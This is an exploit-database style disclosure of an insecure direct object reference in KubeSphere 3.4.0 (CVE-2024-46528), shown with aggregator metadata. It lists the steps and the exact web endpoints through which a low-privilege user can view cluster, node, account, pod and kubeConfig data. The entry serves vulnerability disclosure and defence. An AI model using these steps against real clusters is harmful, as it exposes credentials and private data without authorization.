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KubeSphere 3.4.0 - Insecure Direct Object Reference (IDOR)

🗓️ 27 Mar 2025 00:00:00Reported by Okan KurtulusType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 241 Views

IDOR vulnerability in KubeSphere allows unauthorized user access to sensitive cluster information.

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# Exploit Title: KubeSphere 3.4.0 - Insecure Direct Object Reference (IDOR)
# Date: 3 September
# Exploit Author: Okan Kurtulus
# Vendor Homepage: https://kubesphere.io
# Software Link: https://github.com/kubesphere/kubesphere
# Version: [>= 4.0.0 & < 4.1.3] , [>= 3.0.0 & < 3.4.1]
# Tested on: Ubuntu 22.04
# CVE : CVE-2024-46528

1-) Log in to the system with a user who is not registered to any workspace (e.g., a "platform-regular" user who has limited authorization).

Note: The authorization level of this user is as follows:
"Cannot access any resources before joining a workspace."

2-) After logging in with this user, it has been observed that cluster information, node information, users registered in the system, and other similar areas can be accessed without the user being registered to any workspace or cluster.

Examples of accessible endpoints:

http://xxx.xxx.xx.xx:30880/clusters/default/overview 
http://xxx.xxx.xx.xx:30880/clusters/default/nodes 
http://xxx.xxx.xx.xx:30880/access/accounts 
http://xxx.xxx.xx.xx:30880/clusters/default/monitor-cluster/ranking 
http://xxx.xxx.xx.xx:3 0880/clusters/default/monitor-cluster/resource 
http://xxx.xxx.xx.xx:30880/clusters/default/projects 
http://xxx.xxx.xx.xx:30880/clusters/default/nodes/minikube/pods 
http://xxx.xxx.xx.xx:30880/clusters/default/kubeConfig

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27 Mar 2025 00:00Current
4.6Medium risk
Vulners AI Score4.6
CVSS 3.14.3
EPSS0.0216
SSVC
241